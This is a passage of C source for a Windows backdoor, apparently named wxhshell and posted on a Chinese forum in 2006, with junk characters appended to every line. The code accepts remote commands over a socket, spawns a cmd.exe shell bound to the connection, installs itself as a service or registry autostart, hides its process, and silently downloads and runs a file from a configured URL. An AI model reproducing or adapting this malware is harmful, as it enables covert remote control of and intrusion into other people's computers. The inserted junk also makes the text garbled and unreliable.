    switch(cmd[0]) { $$/S8LmmK  
  H;X~<WN&AW  
  // 帮助 tl2Lq0  
  case '?': { vkh;qPD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~v,!n/('  
    break;  aeQ{_SK  
  } ),z,LU Yf  
  // 安装 <6gU2@1  
  case 'i': { s>V*=#L  
    if(Install()) 8Q +TE;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W|FNDP0  
    else *Y^5M"AB_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CVi<~7Am\  
    break; MEDskvBG  
    } CcbWW4 )  
  // 卸载 Yr Preuh  
  case 'r': { c '/2F0y  
    if(Uninstall()) \y<+Fac1S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yFa&GxSq  
    else ]IL3$eR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ab/v_ mA;  
    break; 7Ljs4>%l9j  
    } FP0<-9DO  
  // 显示 wxhshell 所在路径 s 0 =@ &/  
  case 'p': { D_]i/ F%  
    char svExeFile[MAX_PATH]; -_:JQ  
    strcpy(svExeFile,"\n\r");  \q|e8k4p  
      strcat(svExeFile,ExeFile); gDgP;i d  
        send(wsh,svExeFile,strlen(svExeFile),0); ]ZBgE\[  
    break; r(748Qc4f?  
    } CAcOWwDm  
  // 重启 HP1X\h!Ke  
  case 'b': { {"Y]/6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z2$F Yn Q  
    if(Boot(REBOOT)) FC|y'j 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <PH3gyC  
    else { C%qtCk_cN  
    closesocket(wsh); c'>8pd  
    ExitThread(0); Au%Wrk3j  
    } .f[\G*   
    break; #nt<j2}m  
    } \["1N-q b  
  // 关机 B]CS2LEqh  
  case 'd': { % DHP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;L MEU_  
    if(Boot(SHUTDOWN)) .l" _ K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LK oM\g(  
    else { Vz+=ZK r5  
    closesocket(wsh); t2`X!`  
    ExitThread(0); P<g|y4h  
    } R;N>#_9HU  
    break; j.e`ip  
    } S<)RVm,!e  
  // 获取shell X,Q 6  
  case 's': { (W{rv6cq  
    CmdShell(wsh); INeWi=1  
    closesocket(wsh); GNj/jU<o!  
    ExitThread(0); :$u{  
    break; 9 ^=t@  
  } ?Ix'2v  
  // 退出 g@N=N  
  case 'x': { j/; @P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4%Z\G@0<'  
    CloseIt(wsh); r[i~4N=  
    break; O=9VX  
    } l)2HHu<  
  // 离开 Mf,Mcvs  
  case 'q': { } r\SP3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N:sECGS,  
    closesocket(wsh); <yb=!  
    WSACleanup(); EUYa =-  
    exit(1); D[FfJcV'$  
    break; 5O4&BxQ~}  
        } FK/ro91L  
  } OM#OPB rB  
  } EZa{C}NQ$2  
faKrSmE!  
  // 提示信息 2e D\_IW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :@z5& h  
} a)yNXn8E_  
  } IQIb\OUo!v  
4jZi62  
  return; ct|'I]nB.h  
} PSrt/y!  
4<K ,w{I  
// shell模块句柄 =G3J.S*Riy  
int CmdShell(SOCKET sock) ]!S)O|_D[  
{ FZ'>LZ  
STARTUPINFO si; `'tw5}  
ZeroMemory(&si,sizeof(si)); cB9KHqB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |SXMu_w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;V}FbWz^v6  
PROCESS_INFORMATION ProcessInfo; vGMOXbq4&  
char cmdline[]="cmd"; t&?v9n"X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;@ !d!&  
  return 0; w[$Wpae  
} ztxQv5=:,  
PezWc18  
// 自身启动模式 G5eLs  
int StartFromService(void) N#6A>  
{ :J)l C =  
typedef struct yK2*~T,6@  
{ F|3FvxA  
  DWORD ExitStatus; N<i Vs  
  DWORD PebBaseAddress; Xrzh*sp  
  DWORD AffinityMask; RX<^MzCDV  
  DWORD BasePriority; G cLp"  
  ULONG UniqueProcessId; '[ddE!ta  
  ULONG InheritedFromUniqueProcessId; Exo`Z`m`U  
}   PROCESS_BASIC_INFORMATION; }_D5, k  
F~- S3p  
PROCNTQSIP NtQueryInformationProcess; J?=Ob?+ _  
mWFZg.#?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i:Ct6[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B7jlJqV  
5FR#_}k]_F  
  HANDLE             hProcess; `?|]:7'<  
  PROCESS_BASIC_INFORMATION pbi; UDi3dH=  
J5_ qqD)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LB ^^e"  
  if(NULL == hInst ) return 0; d4eCBqx  
eR 2T<7G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hFPRC0ftE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  $.]t1e7s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hO@v\@;r  
E@}j}/%'O  
  if (!NtQueryInformationProcess) return 0;  DlkKQ  
bb_jD^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [/,6O  
  if(!hProcess) return 0; GB0b|9(6D"  
ImY*cW=M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )BTs *7 j  
_"Ke=v_5  
  CloseHandle(hProcess); nv[Sb%/  
/!uBk3x:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *A9{H>Vq  
if(hProcess==NULL) return 0; 3#ZKuGg=  
n&78~@H  
HMODULE hMod; _89G2)U=C  
char procName[255]; 1? hd  
unsigned long cbNeeded; ={0{X9t?'j  
?4?jG3p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R;,HtN  
l6U'  
  CloseHandle(hProcess); &!~n=]*sz  
dw}3B8]  
if(strstr(procName,"services")) return 1; // 以服务启动 snNg:rT L  
s(9rBDoY(8  
  return 0; // 注册表启动 @Lv_\^2/}  
} +VCo=oA  
c,%>7U(w_  
// 主模块 M<m64{m1  
int StartWxhshell(LPSTR lpCmdLine) d7zE8)DU7  
{ tf79Gb>  
  SOCKET wsl; nhhJUN?8  
BOOL val=TRUE; KgAX0dM  
  int port=0; Y6DiISl  
  struct sockaddr_in door; |MrH@v7S  
g]Ny?61  
  if(wscfg.ws_autoins) Install(); hQx e0Pdt  
gUtbCqDS  
port=atoi(lpCmdLine); =YsTF T  
d~$t{46  
if(port<=0) port=wscfg.ws_port; hs uJ;4}$q  
GV[BpH  
  WSADATA data; rzj'!~>U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3AL=*qq  
$iJ #%&D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5h7DVr!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J(VZa_  
  door.sin_family = AF_INET; sb5kexGxkc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sgsMlZ3/  
  door.sin_port = htons(port); U}Fk%Jj  
<Y6>L};  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'Em($A (  
closesocket(wsl); },ZL8l{  
return 1; NVPYv#uK  
} 5X-{|r3q  
V1qHl5"  
  if(listen(wsl,2) == INVALID_SOCKET) { -e\kIK %  
closesocket(wsl); M<7*\1  
return 1; &!MKqJ@t  
}  \hc9Rk  
  Wxhshell(wsl); []^>QsS(X  
  WSACleanup(); B ~GyS"  
4D$E  
return 0; Vi-@z;k  
46`{mPd{aO  
} w]XBq~KO  
<O&s 'A[  
// 以NT服务方式启动 nTlrG6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PrxXL/6  
{ %LmB`DqZ  
DWORD   status = 0; `8Ix&d3F  
  DWORD   specificError = 0xfffffff; 4B(qVf&M  
jqmP^ZS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M-t9zT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qQryv_QP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2US8<sq+  
  serviceStatus.dwWin32ExitCode     = 0; l6O(+*6Us  
  serviceStatus.dwServiceSpecificExitCode = 0; <C(2(3  
  serviceStatus.dwCheckPoint       = 0; W;W\L? r  
  serviceStatus.dwWaitHint       = 0; T;7|d5][  
pTd@i1%Nr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pr'py  
  if (hServiceStatusHandle==0) return; cl5:|)  
5j %jhby?  
status = GetLastError(); @ZZ Lh=  
  if (status!=NO_ERROR) KxI(# }5o&  
{ K;O\Pd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fx2&ji6u  
    serviceStatus.dwCheckPoint       = 0; J3vuh#  
    serviceStatus.dwWaitHint       = 0; e9nuQ\=  
    serviceStatus.dwWin32ExitCode     = status; dXQWT@$y!E  
    serviceStatus.dwServiceSpecificExitCode = specificError; H6QQ<~_&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oizoKwp%  
    return; w}?\Q,  
  } |/Z4lcI  
E.brQx#}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C_o.d~xm  
  serviceStatus.dwCheckPoint       = 0; 4}`MV.  
  serviceStatus.dwWaitHint       = 0; j\<S6%p#R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +`xp+Q  
} Px`yD3  
qm_\#r  
// 处理NT服务事件,比如:启动、停止 .7q#{`K^=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W%x#ps5%  
{ `Jo}/c 5R  
switch(fdwControl) -!" 8j"pA:  
{ 9i@*\Ada  
case SERVICE_CONTROL_STOP: ~ i,my31  
  serviceStatus.dwWin32ExitCode = 0; :.^{!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a+d|9y/k  
  serviceStatus.dwCheckPoint   = 0; Fwtwf{9I  
  serviceStatus.dwWaitHint     = 0; uM$=v]e^ 4  
  { C" {j0X`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [dUEe@P  
  } 5 ,HNb  
  return; (s~hh  
case SERVICE_CONTROL_PAUSE: v%r!}s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m`|+_{4[n  
  break; /TdTo@  
case SERVICE_CONTROL_CONTINUE: S<44{ oH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6+>rf{5P7  
  break; f>o@Y]/l  
case SERVICE_CONTROL_INTERROGATE: FM5$83Q  
  break; LcXrD+ 1  
}; ;:OJQFu%4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8LOzL,Ah  
} l[gL(p"W  
9%8T09I!  
// 标准应用程序主函数 Wr;)3K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iV%% VR8b  
{ iJcl0)|  
(NP=5lLH  
// 获取操作系统版本 Adh CC13B  
OsIsNt=GetOsVer(); 7RO=X%0A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '7$v@Tvnre  
q?6Zu:':  
  // 从命令行安装 p^2pv{by  
  if(strpbrk(lpCmdLine,"iI")) Install(); qsLsyi|zG  
][.1b@)qV  
  // 下载执行文件 S5;q)qz2J  
if(wscfg.ws_downexe) { BJvVZl2h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {Su]P {oJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); $>+-=XMVB  
} z-,'W`  
&{8 "- dw  
if(!OsIsNt) { E:7vm@+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]HRE-g  
HideProc(); sM4N`$Is23  
StartWxhshell(lpCmdLine); 0pu'K)Rb  
} #ws6z`mt  
else .UJk0%1  
  if(StartFromService()) r J&1[=s  
  // 以服务方式启动 KxvT}"k  
  StartServiceCtrlDispatcher(DispatchTable); >k:)'*  
else q,2 @X~T  
  // 普通方式启动 r`lgK2r\  
  StartWxhshell(lpCmdLine); ivt\| >  
4>(?R[:p)  
return 0; "?]5"lNC|  
}
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只看该作者 1 发表于: 2006-10-10
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